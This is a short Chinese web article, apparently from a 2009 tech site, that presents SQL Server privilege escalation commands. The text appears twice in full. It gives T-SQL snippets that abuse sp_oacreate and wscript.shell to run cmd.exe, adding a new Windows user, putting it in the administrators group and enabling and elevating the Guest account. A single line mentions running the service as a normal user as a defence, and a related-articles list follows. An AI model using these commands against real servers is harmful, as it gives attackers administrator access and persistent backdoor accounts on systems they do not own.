SQL 提權(quán) 常用命令
更新時(shí)間:2009年07月24日 00:29:34 作者:
SQL 提權(quán) 常用命令,大家可以考慮下將sqlserver的服務(wù)運(yùn)行權(quán)限設(shè)置為普通用戶,即可防止下面的提權(quán)。
1、連接數(shù)據(jù)庫(kù)
driver={SQL Server};server=服務(wù)器IP;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫(kù)名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關(guān)于防范方法,可以參考腳本之家服務(wù)器安全設(shè)置欄目。
driver={SQL Server};server=服務(wù)器IP;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫(kù)名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關(guān)于防范方法,可以參考腳本之家服務(wù)器安全設(shè)置欄目。
相關(guān)文章
SQL Server兩表數(shù)據(jù)同步的多種方法詳解
這篇文章主要介紹了SQL Server兩表數(shù)據(jù)同步的多種方法,本文通過(guò)實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2023-06-06
淺談SELECT?*會(huì)導(dǎo)致查詢效率低的原因
本文主要介紹了淺談SELECT?*會(huì)導(dǎo)致查詢效率低的原因,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2023-07-07
SQL Server 通過(guò)with as方法查詢樹(shù)型結(jié)構(gòu)
with as 公用表表達(dá)式類似VIEW,但是不并沒(méi)有創(chuàng)建對(duì)象,WITH AS 公用表表達(dá)式不創(chuàng)建對(duì)象,只能被后隨的SELECT語(yǔ)句2019-11-11
CentOS 7.3上SQL Server vNext CTP 1.2安裝教程
這篇文章主要為大家詳細(xì)介紹了CentOS 7.3上SQL Server vNext CTP 1.2安裝教程,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-01-01
SQL語(yǔ)句實(shí)現(xiàn)刪除ACCESS重復(fù)記錄的兩種方法
有兩個(gè)意義上的重復(fù)記錄,一是完全重復(fù)的記錄,也即所有字段均重復(fù)的記錄,二是部分關(guān)鍵字段重復(fù)的記錄,比如Name字段重復(fù),而其他字段不一定重復(fù)或都重復(fù)可以忽略。2010-04-04
GreatSQL 在SQL中如何使用 HINT 語(yǔ)法修改會(huì)話變量
GreatSQL推出新的優(yōu)化Hint功能,名為SET_VAR,允許用戶在查詢語(yǔ)句中修改數(shù)據(jù)庫(kù)的會(huì)話變量,但只對(duì)當(dāng)前查詢會(huì)話生效,不影響其他會(huì)話,本文給大家介紹GreatSQL 在SQL中如何使用 HINT 語(yǔ)法修改會(huì)話變量,感興趣的朋友一起看看吧2024-10-10
SqlServer數(shù)據(jù)庫(kù)遠(yuǎn)程連接案例教程
這篇文章主要介紹了SqlServer數(shù)據(jù)庫(kù)遠(yuǎn)程連接案例教程,本篇文章通過(guò)簡(jiǎn)要的案例,講解了該項(xiàng)技術(shù)的了解與使用,以下就是詳細(xì)內(nèi)容,需要的朋友可以參考下2021-07-07
在SQL Server中實(shí)現(xiàn)最短路徑搜索的解決方法
本篇文章小編為大家介紹,在SQL Server中實(shí)現(xiàn)最短路徑搜索的解決方法。需要的朋友參考下2013-04-04
SQL Server評(píng)估期已過(guò)問(wèn)題的解決方法
這篇文章主要為大家詳細(xì)介紹了SQL Server評(píng)估期已過(guò)問(wèn)題的解決方法,感興趣的小伙伴們可以參考一下2016-03-03

